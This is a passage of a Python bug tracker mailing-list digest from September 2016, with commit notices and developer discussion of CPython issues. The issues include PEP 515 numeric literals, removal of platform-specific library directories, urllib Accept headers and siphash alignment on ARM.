From: report at bugs.python.org (Roundup Robot)
Date: Fri, 09 Sep 2016 21:55:21 +0000
Subject: [issue25856] The __module__ attribute of non-heap classes is not
 interned
In-Reply-To: <1450023464.36.0.165437491365.issue25856@psf.upfronthosting.co.za>
Message-ID: <20160909215519.19517.40845.168F43F7@psf.io>


Roundup Robot added the comment:

New changeset 861ddad3e0c1 by Serhiy Storchaka in branch 'default':
Issue #25856: The __module__ attribute of extension classes and functions
https://hg.python.org/cpython/rev/861ddad3e0c1

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue25856>
_______________________________________

From report at bugs.python.org  Fri Sep  9 17:57:18 2016
From: report at bugs.python.org (Roundup Robot)
Date: Fri, 09 Sep 2016 21:57:18 +0000
Subject: [issue26331] PEP 515: Tokenizer: allow underscores for grouping in
 numeric literals
In-Reply-To: <1455126624.48.0.163167904941.issue26331@psf.upfronthosting.co.za>
Message-ID: <20160909215716.59408.83796.5BB39863@psf.io>


Roundup Robot added the comment:

New changeset 8a881dafe335 by Brett Cannon in branch 'default':
Issue #26331: Implement the parsing part of PEP 515.
https://hg.python.org/cpython/rev/8a881dafe335

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26331>
_______________________________________

From report at bugs.python.org  Fri Sep  9 17:57:50 2016
From: report at bugs.python.org (Roundup Robot)
Date: Fri, 09 Sep 2016 21:57:50 +0000
Subject: [issue24186] OpenSSL causes buffer overrun exception
In-Reply-To: <1431578584.97.0.131803354946.issue24186@psf.upfronthosting.co.za>
Message-ID: <20160909215748.21076.9472.9685E78F@psf.io>


Roundup Robot added the comment:

New changeset 6a8a6e26a1bc by Steve Dower in branch 'default':
Issue #24186: Reenable optimised OpenSSL function
https://hg.python.org/cpython/rev/6a8a6e26a1bc

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24186>
_______________________________________

From report at bugs.python.org  Fri Sep  9 17:58:37 2016
From: report at bugs.python.org (Brett Cannon)
Date: Fri, 09 Sep 2016 21:58:37 +0000
Subject: [issue26331] PEP 515: Tokenizer: allow underscores for grouping in
 numeric literals
In-Reply-To: <1455126624.48.0.163167904941.issue26331@psf.upfronthosting.co.za>
Message-ID: <1473458317.49.0.133168917916.issue26331@psf.upfronthosting.co.za>


Brett Cannon added the comment:

All applied! And Eric said he will handle the patch for format() which should cover the other half of PEP 515. Once Eric's side is done I guess we can mark PEP 515 as final.

----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26331>
_______________________________________

From report at bugs.python.org  Fri Sep  9 17:58:55 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Fri, 09 Sep 2016 21:58:55 +0000
Subject: [issue25856] The __module__ attribute of non-heap classes is not
 interned
In-Reply-To: <1450023464.36.0.165437491365.issue25856@psf.upfronthosting.co.za>
Message-ID: <1473458335.26.0.913060710779.issue25856@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

Thank you for helpful review Benjamin.

----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue25856>
_______________________________________

From report at bugs.python.org  Fri Sep  9 18:00:46 2016
From: report at bugs.python.org (Zachary Ware)
Date: Fri, 09 Sep 2016 22:00:46 +0000
Subject: [issue28027] Remove Lib/plat-*/* files
In-Reply-To: <1473359899.1.0.11929160412.issue28027@psf.upfronthosting.co.za>
Message-ID: <1473458446.83.0.942630368582.issue28027@psf.upfronthosting.co.za>


Zachary Ware added the comment:

Because in every release of Python they have been undocumented, in any recent release of Python they have been inaccurate (at best) and probably unnecessary, they have been unmaintained for years, the presence of the plat-* dir on sys.path slows down imports from any directory after it on sys.path, the problem they purport to solve has other much better solutions, and this discussion started 5 years ago with only the the slightest of defenses from MvL.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28027>
_______________________________________

From report at bugs.python.org  Fri Sep  9 18:14:06 2016
From: report at bugs.python.org (Xavier de Gaye)
Date: Fri, 09 Sep 2016 22:14:06 +0000
Subject: [issue28027] Remove Lib/plat-*/* files
In-Reply-To: <1473359899.1.0.11929160412.issue28027@psf.upfronthosting.co.za>
Message-ID: <1473459245.99.0.337369217348.issue28027@psf.upfronthosting.co.za>


Xavier de Gaye added the comment:

> Since the 3.6 cycle, these modules are regenerated for the build, so they are not outdated anymore.  They are not a maintenance burden either.

Indeed, they are regenerated by the changes made in issue 23968 ("rename the platform directory from plat-$(MACHDEP) to plat-$(PLATFORM_TRIPLET)"). And they are a maintenance burden as these changes fail to regenerate these modules on Android cross-builds as explained in msg269360, the generation being done with the headers of the build system instead of the target host (Android) system. The problem is not limited to Android cross-compilation of course.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28027>
_______________________________________

From report at bugs.python.org  Fri Sep  9 18:15:12 2016
From: report at bugs.python.org (Roundup Robot)
Date: Fri, 09 Sep 2016 22:15:12 +0000
Subject: [issue433028] SRE: (?flag:...) is not supported
Message-ID: <20160909221509.69529.29112.5E4CE44D@psf.io>


Roundup Robot added the comment:

New changeset ce5a834978ac by Serhiy Storchaka in branch 'default':
Issue #433028: Added support of modifier spans in regular expressions.
https://hg.python.org/cpython/rev/ce5a834978ac

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue433028>
_______________________________________

From report at bugs.python.org  Fri Sep  9 18:15:39 2016
From: report at bugs.python.org (STINNER Victor)
Date: Fri, 09 Sep 2016 22:15:39 +0000
Subject: [issue28027] Remove Lib/plat-*/* files
In-Reply-To: <1473359899.1.0.11929160412.issue28027@psf.upfronthosting.co.za>
Message-ID: <1473459339.59.0.528791394315.issue28027@psf.upfronthosting.co.za>


STINNER Victor added the comment:

The FreeBSD packager told me that he is *very* happy to see these modules go away, it was also a pain for him to maintain a patch for them. The maintaince burden is even wider than Python source code.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28027>
_______________________________________

From report at bugs.python.org  Fri Sep  9 18:18:39 2016
From: report at bugs.python.org (Zachary Ware)
Date: Fri, 09 Sep 2016 22:18:39 +0000
Subject: [issue28027] Remove Lib/plat-*/* files
In-Reply-To: <1473359899.1.0.11929160412.issue28027@psf.upfronthosting.co.za>
Message-ID: <1473459519.57.0.071800182745.issue28027@psf.upfronthosting.co.za>


Zachary Ware added the comment:

With no solid evidence against the change and much joy with the change, I'm reclosing the issue.  doko, if people complain to you about being broken by this, feel free to refer them to me.

----------
resolution:  -> fixed
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28027>
_______________________________________

From report at bugs.python.org  Fri Sep  9 18:18:48 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Fri, 09 Sep 2016 22:18:48 +0000
Subject: [issue23545] Turn on extra warnings on GCC
In-Reply-To: <1425076183.98.0.20319163057.issue23545@psf.upfronthosting.co.za>
Message-ID: <1473459528.48.0.444536713311.issue23545@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

Rebased patch. Removed save_CFLAGS="$CFLAGS" and CFLAGS="$save_CFLAGS" lines as Marin suggested.

Benjamin, seems you are experienced with autoconf. Could you please make a review?

----------
Added file: http://bugs.python.org/file44512/configure_extra_warnings2.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue23545>
_______________________________________

From report at bugs.python.org  Fri Sep  9 18:19:30 2016
From: report at bugs.python.org (David Bolen)
Date: Fri, 09 Sep 2016 22:19:30 +0000
Subject: [issue28039] x86 Tiger buildbot needs __future__ with_statement
In-Reply-To: <1473407641.18.0.0923940651973.issue28039@psf.upfronthosting.co.za>
Message-ID: <1473459570.94.0.369945177398.issue28039@psf.upfronthosting.co.za>


David Bolen added the comment:

It's been on the cusp of shutdown a few times now, but tweaks to maintain compatibility for the occasional issue always seem to materialize (thanks to Ned in many cases).

To Ned's question, the slave is currently operating under 2.5.1 which I must have set up since Tiger originally came with 2.3.  I'm sure I could bump that to 2.6+ to avoid the error if there's still value.  It would probably be less work if the installer script could still use 2.5.1 if only because I'm not sure of what other dependencies it uses I might need to fix along with Python.

Gregory, while the slave's value purely as a test platform is probably close to non-existent at this point, another contributor to its longevity is that it still builds daily DMG installers (the bolen-dmg build slave).  So that had remained useful beyond plain testing.  I'm not positive if it's still true, but for OSX it used to be better to use the oldest build platform you could as Apple wasn't very good about backwards compatibility of builds on newer versions.  And originally Tiger was the only free machine I had.

With that said, it's not clear anyone still references the daily DMGs any more, or gets much benefit from them.  So I'm not wedded to keeping this operating, if instead it's finally reached the time for retirement.

-- David

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28039>
_______________________________________

From report at bugs.python.org  Fri Sep  9 18:20:00 2016
From: report at bugs.python.org (Roundup Robot)
Date: Fri, 09 Sep 2016 22:20:00 +0000
Subject: [issue28025] Use IntEnum and IntFlags in ssl module
In-Reply-To: <1473356149.55.0.656612529599.issue28025@psf.upfronthosting.co.za>
Message-ID: <20160909221957.87626.76088.DD55D198@psf.io>


Roundup Robot added the comment:

New changeset c32e9f9b00f7 by Christian Heimes in branch 'default':
Issue #28025: Convert all ssl module constants to IntEnum and IntFlags.
https://hg.python.org/cpython/rev/c32e9f9b00f7

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28025>
_______________________________________

From report at bugs.python.org  Fri Sep  9 18:20:29 2016
From: report at bugs.python.org (Christian Heimes)
Date: Fri, 09 Sep 2016 22:20:29 +0000
Subject: [issue28025] Use IntEnum and IntFlags in ssl module
In-Reply-To: <1473356149.55.0.656612529599.issue28025@psf.upfronthosting.co.za>
Message-ID: <1473459629.68.0.845242142831.issue28025@psf.upfronthosting.co.za>


Changes by Christian Heimes <lists at cheimes.de>:


----------
stage: patch review -> commit review
status: open -> pending

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28025>
_______________________________________

From report at bugs.python.org  Fri Sep  9 18:23:28 2016
From: report at bugs.python.org (Martin Panter)
Date: Fri, 09 Sep 2016 22:23:28 +0000
Subject: [issue24363] httplib fails to handle semivalid HTTP headers
In-Reply-To: <1433257563.79.0.772954216205.issue24363@psf.upfronthosting.co.za>
Message-ID: <1473459808.43.0.393127796601.issue24363@psf.upfronthosting.co.za>


Martin Panter added the comment:

I guess we could add this secret policy flag that the email parser checks. The solution should still be applied as a bug fix to 3.5 as well as 3.6+. I would have to make the flag ?very? unique, to reduce the chance of it breaking user code. I.e. adding policy._strict_end_of_headers might interfere with somebody?s user-defined policy class, but maybe policy.__strict_end_of_headers__ is safe, since user code is not supposed to invent such attribute names. Or do you think it ?_strict_end_of_headers? name is fair game since the policy stuff is/was provisional?

It would be good to fix 2.7. This bug, and the duplicate report, were both originally reported for 2.7. I haven?t looked at the situation there in detail, but it looks completely different. HTTPMessage is based on the ?mimetools? package, and there is a lot more parsing code already in ?httplib?.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24363>
_______________________________________

From report at bugs.python.org  Fri Sep  9 18:24:14 2016
From: report at bugs.python.org (Cory Benfield)
Date: Fri, 09 Sep 2016 22:24:14 +0000
Subject: [issue22450] urllib doesn't put Accept: */* in the headers
In-Reply-To: <1411257032.38.0.526589346468.issue22450@psf.upfronthosting.co.za>
Message-ID: <1473459854.22.0.478328975031.issue22450@psf.upfronthosting.co.za>


Cory Benfield added the comment:

So, leaping in on the Requests side of things for a moment, two notes. Firstly: copying curl is rarely a bad thing to do, especially for a behaviour curl has had for a long time.

However, in this case the stronger argument is that just because the RFCs say that Accept: */* is implied doesn't mean it can safely be omitted. In practice, origin servers behave unexpectedly when the header is omitted, and in general behave more predictable when it is emitted. For that reason, it should be added by Python's standard library. 

HTTP/1.1 is a protocol where "as deployed" means much more than "as specified", sadly.

----------
nosy: +Lukasa

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue22450>
_______________________________________

From report at bugs.python.org  Fri Sep  9 18:29:11 2016
From: report at bugs.python.org (Zachary Ware)
Date: Fri, 09 Sep 2016 22:29:11 +0000
Subject: [issue28046] Remove the concept of platform-specific directories
In-Reply-To: <1473443913.59.0.936788039942.issue28046@psf.upfronthosting.co.za>
Message-ID: <1473460151.89.0.818015378216.issue28046@psf.upfronthosting.co.za>


Zachary Ware added the comment:

Xavier: Could you please make sure this doesn't break anything for Android/cross-builds?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28046>
_______________________________________

From report at bugs.python.org  Fri Sep  9 18:32:36 2016
From: report at bugs.python.org (Barry A. Warsaw)
Date: Fri, 09 Sep 2016 22:32:36 +0000
Subject: [issue28007] Bad .pyc files prevent import of otherwise valid .py
 files.
In-Reply-To: <1473453055.84.0.63227173455.issue28007@psf.upfronthosting.co.za>
Message-ID: <20160910103225.21f87091@anarchist.wains.cybercomglobal.com>


Barry A. Warsaw added the comment:

On Sep 09, 2016, at 08:30 PM, Terry J. Reedy wrote:

>I think we should definitely fall back to using the .py file.  A cache is an
>implementation convenience, not a language feature.

+1.  If the cache is corrupt, it should be ignored and recreated.  There are
of course situations where that may not be possible though, e.g. if the .pyc
is on a read-only file system or the user doesn't have permission to write the
.pyc.  Still in those cases, if the .py is okay, but the .pyc is not, we
should do a source import.  I believe we already don't fall over if the .pyc
isn't writable, so let's keep that.  Although I don't think it's worth it, we
could add some extra knobs to warn about this case, or to be strict about not
allowing source imports.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28007>
_______________________________________

From report at bugs.python.org  Fri Sep  9 18:35:07 2016
From: report at bugs.python.org (Xavier de Gaye)
Date: Fri, 09 Sep 2016 22:35:07 +0000
Subject: [issue28046] Remove the concept of platform-specific directories
In-Reply-To: <1473443913.59.0.936788039942.issue28046@psf.upfronthosting.co.za>
Message-ID: <1473460507.13.0.558046604531.issue28046@psf.upfronthosting.co.za>


Xavier de Gaye added the comment:

Sure, I was already planning to do it :)

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28046>
_______________________________________

From report at bugs.python.org  Fri Sep  9 18:36:11 2016
From: report at bugs.python.org (Lisa Roach)
Date: Fri, 09 Sep 2016 22:36:11 +0000
Subject: [issue27779] Sync-up docstrings in C version of the the decimal module
In-Reply-To: <1471375735.77.0.977501297817.issue27779@psf.upfronthosting.co.za>
Message-ID: <1473460571.82.0.0275697860261.issue27779@psf.upfronthosting.co.za>


Lisa Roach added the comment:

Hi Stefan and Raymond,

Here's my start on the patch, I wanted to get your opinions on the direction before I go too far. 

I've been comparing the two sets of docstrings, and trying to synchronize them in the clearest way that most closely matches the decimal specification docs. 

Let me know what you think!

----------
keywords: +patch
Added file: http://bugs.python.org/file44513/docstrings.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27779>
_______________________________________

From report at bugs.python.org  Fri Sep  9 18:39:20 2016
From: report at bugs.python.org (Eric Snow)
Date: Fri, 09 Sep 2016 22:39:20 +0000
Subject: [issue28053] parameterize what serialization is used in
 multiprocessing
In-Reply-To: <1473454734.41.0.810069156927.issue28053@psf.upfronthosting.co.za>
Message-ID: <1473460760.87.0.890752018027.issue28053@psf.upfronthosting.co.za>


Eric Snow added the comment:

LGTM

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28053>
_______________________________________

From report at bugs.python.org  Fri Sep  9 18:40:36 2016
From: report at bugs.python.org (Roundup Robot)
Date: Fri, 09 Sep 2016 22:40:36 +0000
Subject: [issue20476] If new email policies are used,
 default message factory should be EmailMessage
In-Reply-To: <1391292485.67.0.381493162498.issue20476@psf.upfronthosting.co.za>
Message-ID: <20160909224033.48632.52647.33E7CCF4@psf.io>


Roundup Robot added the comment:

New changeset 9ba8f4be0651 by R David Murray in branch 'default':
#20476: add a message_factory policy attribute to email.
https://hg.python.org/cpython/rev/9ba8f4be0651

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue20476>
_______________________________________

From report at bugs.python.org  Fri Sep  9 18:44:33 2016
From: report at bugs.python.org (Eli Rose)
Date: Fri, 09 Sep 2016 22:44:33 +0000
Subject: [issue28054] Diff for visually comparing actual with expected in
 mock.assert_called_with.
Message-ID: <1473461073.51.0.19108692382.issue28054@psf.upfronthosting.co.za>


New submission from Eli Rose:

When I call unittest.TestCase.assertEqual(a, b) on e.g. two unequal dictionaries, I get a nice diff pointing me to the differences.

>>> class A(unittest.TestCase):
...     def test_foo(self):
...         self.assertEqual(dict(foo='bar', zab='zar'), dict(foo='bar', zab='zab'))
>>> unittest.main()
======================================================================
FAIL: test_foo (__main__.A)
----------------------------------------------------------------------
Traceback (most recent call last):
  File "<stdin>", line 3, in test_foo
AssertionError: {'foo': 'bar', 'zab': 'zar'} != {'foo': 'bar', 'zab': 'zab'}
- {'foo': 'bar', 'zab': 'zar'}
?                          ^

+ {'foo': 'bar', 'zab': 'zab'}
?                          ^


----------------------------------------------------------------------
Ran 1 test in 0.001s

FAILED (failures=1)

But when unittest.mock.Mock.assert_called_with fails, I don't get this nice diff output.

This would be very helpful in my present case (asserting that a function with many keyword arguments is called correctly).

----------
components: Tests
messages: 275481
nosy: Eli Rose
priority: normal
severity: normal
status: open
title: Diff for visually comparing actual with expected in mock.assert_called_with.
type: enhancement
versions: Python 2.7, Python 3.3

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28054>
_______________________________________

From report at bugs.python.org  Fri Sep  9 18:55:28 2016
From: report at bugs.python.org (Matthias Klose)
Date: Fri, 09 Sep 2016 22:55:28 +0000
Subject: [issue28027] Remove Lib/plat-*/* files
In-Reply-To: <1473359899.1.0.11929160412.issue28027@psf.upfronthosting.co.za>
Message-ID: <1473461728.36.0.130219458134.issue28027@psf.upfronthosting.co.za>


Matthias Klose added the comment:

you asked for evidence, you got evidence. re-opening the issue again.  feel free to close it again without any evidence, and stating that you ignore the usual deprecation rules.

----------
resolution: fixed -> 
status: closed -> open

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28027>
_______________________________________

From report at bugs.python.org  Fri Sep  9 18:56:51 2016
From: report at bugs.python.org (Eryk Sun)
Date: Fri, 09 Sep 2016 22:56:51 +0000
Subject: [issue27971] utf-16 decoding can't handle lone surrogates
In-Reply-To: <1473155983.16.0.820045644056.issue27971@psf.upfronthosting.co.za>
Message-ID: <1473461811.01.0.594860974175.issue27971@psf.upfronthosting.co.za>


Eryk Sun added the comment:

Considering the UTF-16 codec isn't self-consistent, it's a stretch to say it's not a bug. It's misbehavior, and it either will be or won't be fixed. From Victor's response it's looking like the latter.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27971>
_______________________________________

From report at bugs.python.org  Fri Sep  9 18:58:31 2016
From: report at bugs.python.org (R. David Murray)
Date: Fri, 09 Sep 2016 22:58:31 +0000
Subject: [issue24363] httplib fails to handle semivalid HTTP headers
In-Reply-To: <1433257563.79.0.772954216205.issue24363@psf.upfronthosting.co.za>
Message-ID: <1473461911.28.0.0918353983122.issue24363@psf.upfronthosting.co.za>


R. David Murray added the comment:

Oh, yes, I forgot 2.7 was using the older code.

Sure, that flag name sounds fine.  I'm not worrying about policy flag name collisions, but perhaps I should be.  How about _py_strict_end_of_headers?  I don't really care what it is named for the bug fix, I'll think about the exposed name for 3.7.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24363>
_______________________________________

From report at bugs.python.org  Fri Sep  9 18:59:25 2016
From: report at bugs.python.org (Roundup Robot)
Date: Fri, 09 Sep 2016 22:59:25 +0000
Subject: [issue14976] queue.Queue() is not reentrant,
 so signals and GC can cause deadlocks
In-Reply-To: <1338540186.86.0.989988943379.issue14976@psf.upfronthosting.co.za>
Message-ID: <20160909225921.48474.29058.0B9E9FDD@psf.io>


Roundup Robot added the comment:

New changeset 8c00cbbd3ff9 by Raymond Hettinger in branch '3.5':
Issue 14976:  Note that the queue module is not designed to protect against reentrancy
https://hg.python.org/cpython/rev/8c00cbbd3ff9

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue14976>
_______________________________________

From report at bugs.python.org  Fri Sep  9 19:03:29 2016
From: report at bugs.python.org (Roundup Robot)
Date: Fri, 09 Sep 2016 23:03:29 +0000
Subject: [issue28053] parameterize what serialization is used in
 multiprocessing
In-Reply-To: <1473454734.41.0.810069156927.issue28053@psf.upfronthosting.co.za>
Message-ID: <20160909230326.8596.82942.4BAD4EA6@psf.io>


Roundup Robot added the comment:

New changeset 7381b1b50e00 by Davin Potts in branch 'default':
Issue #28053: Applying refactorings, docs and other cleanup to follow.
https://hg.python.org/cpython/rev/7381b1b50e00

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28053>
_______________________________________

From report at bugs.python.org  Fri Sep  9 19:05:04 2016
From: report at bugs.python.org (R. David Murray)
Date: Fri, 09 Sep 2016 23:05:04 +0000
Subject: [issue20476] If new email policies are used,
 default message factory should be EmailMessage
In-Reply-To: <1391292485.67.0.381493162498.issue20476@psf.upfronthosting.co.za>
Message-ID: <1473462304.11.0.667818003888.issue20476@psf.upfronthosting.co.za>


Changes by R. David Murray <rdmurray at bitdance.com>:


----------
resolution:  -> fixed
stage: needs patch -> resolved
status: open -> closed
type: resource usage -> enhancement
versions: +Python 3.6 -Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue20476>
_______________________________________

From report at bugs.python.org  Fri Sep  9 19:09:30 2016
From: report at bugs.python.org (Martin Panter)
Date: Fri, 09 Sep 2016 23:09:30 +0000
Subject: [issue22450] urllib doesn't put Accept: */* in the headers
In-Reply-To: <1411257032.38.0.526589346468.issue22450@psf.upfronthosting.co.za>
Message-ID: <1473462570.49.0.446049382368.issue22450@psf.upfronthosting.co.za>


Martin Panter added the comment:

I?m still not convinced. But my argument about the user specifying Accept if they care about the media type works both ways, so I am not that fussed if others want to make the change.

Are there any examples of servers that behave worse than the application/json vs text/json example? E.g. returning XML vs JSON or something?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue22450>
_______________________________________

From report at bugs.python.org  Fri Sep  9 19:19:42 2016
From: report at bugs.python.org (Steve Dower)
Date: Fri, 09 Sep 2016 23:19:42 +0000
Subject: [issue24186] OpenSSL causes buffer overrun exception
In-Reply-To: <1431578584.97.0.131803354946.issue24186@psf.upfronthosting.co.za>
Message-ID: <1473463182.54.0.0172118297898.issue24186@psf.upfronthosting.co.za>


Steve Dower added the comment:

Buildbots look okay with this now, so considering it closed.

----------
resolution:  -> fixed
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24186>
_______________________________________

From report at bugs.python.org  Fri Sep  9 19:24:36 2016
From: report at bugs.python.org (Roundup Robot)
Date: Fri, 09 Sep 2016 23:24:36 +0000
Subject: [issue22450] urllib doesn't put Accept: */* in the headers
In-Reply-To: <1411257032.38.0.526589346468.issue22450@psf.upfronthosting.co.za>
Message-ID: <20160909232433.20970.91639.D26E238D@psf.io>


Roundup Robot added the comment:

New changeset e84105b48436 by Raymond Hettinger in branch '2.7':
Issue #22450: Use "Accept: */*" in the default headers for urllib
https://hg.python.org/cpython/rev/e84105b48436

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue22450>
_______________________________________

From report at bugs.python.org  Fri Sep  9 19:24:59 2016
From: report at bugs.python.org (R. David Murray)
Date: Fri, 09 Sep 2016 23:24:59 +0000
Subject: [issue25235] EmailMessage.add_attachment() creates parts with
 spurious MIME-Version header.
In-Reply-To: <1443210448.87.0.407287169878.issue25235@psf.upfronthosting.co.za>
Message-ID: <1473463499.14.0.786969378992.issue25235@psf.upfronthosting.co.za>


R. David Murray added the comment:

It turns out that solving this header problem via MIMEPart isn't really a good idea, given the rest of the API.  I don't want to not use 'type', or rather I do want to use the new policy.message_factory, and I don't really want to have to have two message_factory attributes.  I'm considering the possibility of only adding a MIME header in the Generator at the top level if and only if there are no parser derived headers.  (This will do the right think only if you stick to the new API, since the old API adds the header indiscriminately in several places).

----------
versions: +Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue25235>
_______________________________________

From report at bugs.python.org  Fri Sep  9 19:25:38 2016
From: report at bugs.python.org (Yury Selivanov)
Date: Fri, 09 Sep 2016 23:25:38 +0000
Subject: [issue14757] INCA: Inline Caching meets Quickening in Python 3.3
In-Reply-To: <1336498675.39.0.776636251166.issue14757@psf.upfronthosting.co.za>
Message-ID: <1473463538.56.0.1640551843.issue14757@psf.upfronthosting.co.za>


Changes by Yury Selivanov <yselivanov at gmail.com>:


----------
nosy: +yselivanov

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue14757>
_______________________________________

From report at bugs.python.org  Fri Sep  9 19:25:59 2016
From: report at bugs.python.org (Lisa Roach)
Date: Fri, 09 Sep 2016 23:25:59 +0000
Subject: [issue27779] Sync-up docstrings in C version of the the decimal module
In-Reply-To: <1471375735.77.0.977501297817.issue27779@psf.upfronthosting.co.za>
Message-ID: <1473463559.82.0.917120854093.issue27779@psf.upfronthosting.co.za>


Lisa Roach added the comment:

I just noticed some trailing whitespace in the patch, ignore them for now and they'll be removed in the next patch.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27779>
_______________________________________

From report at bugs.python.org  Fri Sep  9 19:26:39 2016
From: report at bugs.python.org (STINNER Victor)
Date: Fri, 09 Sep 2016 23:26:39 +0000
Subject: [issue14757] INCA: Inline Caching meets Quickening in Python 3.3
In-Reply-To: <1336498675.39.0.776636251166.issue14757@psf.upfronthosting.co.za>
Message-ID: <1473463599.19.0.840593091422.issue14757@psf.upfronthosting.co.za>


STINNER Victor added the comment:

Link to the paper: https://www.sba-research.org/wp-content/uploads/publications/ecoop10.pdf

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue14757>
_______________________________________

From report at bugs.python.org  Fri Sep  9 19:29:02 2016
From: report at bugs.python.org (Matthias Klose)
Date: Fri, 09 Sep 2016 23:29:02 +0000
Subject: [issue28055] pyhash's siphash24 assumes alignment of the data pointer
Message-ID: <1473463742.19.0.416387824738.issue28055@psf.upfronthosting.co.za>


New submission from Matthias Klose:

pyhash's siphash24 assumes alignment of the data pointer, casting a void pointer (src) to an uint64_t pointer, increasing the required alignment from 1 to 4 bytes. That's invalid code. siphash24 can't assume that the pointer to the data to hash is 4-byte aligned.

Seen as a bus error trying to run a ARM32 binary on a AArch64 kernel.

./python -c 'import datetime; print(hash(datetime.datetime(2015, 1, 1)))'

the datetime type is defined as

#define _PyTZINFO_HEAD \
    PyObject_HEAD \
    Py_hash_t hashcode; \
    char hastzinfo; /* boolean flag */

typedef struct
{
    _PyTZINFO_HEAD
    unsigned char data[_PyDateTime_DATE_DATASIZE];
} PyDateTime_Date;

and data is used to calculate the hash of the object, not being 4 byte aligned, you get the bus error. Inserting three fill bytes, are making the data member 4-byte aligned solves the issue, however introducing an ABI change makes the new datetime ABI incompatible, and we don't know about the alignment of objects outside the standard library.

The solution is to use a memcpy instead of the cast to uint64_t, for now limited to the little endian ARM targets, but I don't see why the memcpy cannot always be used on little endian targets instead of the cast.

----------
assignee: doko
components: Interpreter Core
files: pyhash.diff
keywords: patch
messages: 275493
nosy: doko
priority: normal
severity: normal
status: open
title: pyhash's siphash24 assumes alignment of the data pointer
versions: Python 3.5, Python 3.6
Added file: http://bugs.python.org/file44514/pyhash.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28055>
_______________________________________

From report at bugs.python.org  Fri Sep  9 19:29:50 2016
From: report at bugs.python.org (Matthias Klose)
Date: Fri, 09 Sep 2016 23:29:50 +0000
Subject: [issue28055] pyhash's siphash24 assumes alignment of the data pointer
In-Reply-To: <1473463742.19.0.416387824738.issue28055@psf.upfronthosting.co.za>
Message-ID: <1473463790.36.0.874807176978.issue28055@psf.upfronthosting.co.za>


Changes by Matthias Klose <doko at debian.org>:


----------
nosy: +christian.heimes

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28055>
_______________________________________

From report at bugs.python.org  Fri Sep  9 19:34:07 2016
From: report at bugs.python.org (STINNER Victor)
Date: Fri, 09 Sep 2016 23:34:07 +0000
Subject: [issue28027] Remove Lib/plat-*/* files
In-Reply-To: <1473359899.1.0.11929160412.issue28027@psf.upfronthosting.co.za>
Message-ID: <1473464047.82.0.28743517936.issue28027@psf.upfronthosting.co.za>


STINNER Victor added the comment:

Matthias Klose: Maybe you didn't understand something: breaking the backward compatibility was a deliberate choice. It's a matter of maintenance burden versus the number of broken applications.

According to your search, there are only 8 projects in the wild which will break on Python 3.6. Please compare this number to the number of Python modules on PyPI: 88 298 packages, according to https://pypi.python.org/pypi

Moreover, it seems like some of these 8 projects are not compatible with Python 3 yet, so it's not like this specific change broke them...

Finally, I don't like repeating myself, but: fixing these project requires to modify A SINGLE LINE OF CODE. I know well that Debian likes patching packages, it's not like it is something technically impossible.

Please don't reopen the issue again without a very strong argument.

----------
resolution:  -> fixed
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28027>
_______________________________________

From report at bugs.python.org  Fri Sep  9 19:38:09 2016
From: report at bugs.python.org (STINNER Victor)
Date: Fri, 09 Sep 2016 23:38:09 +0000
Subject: [issue27971] utf-16 decoding can't handle lone surrogates
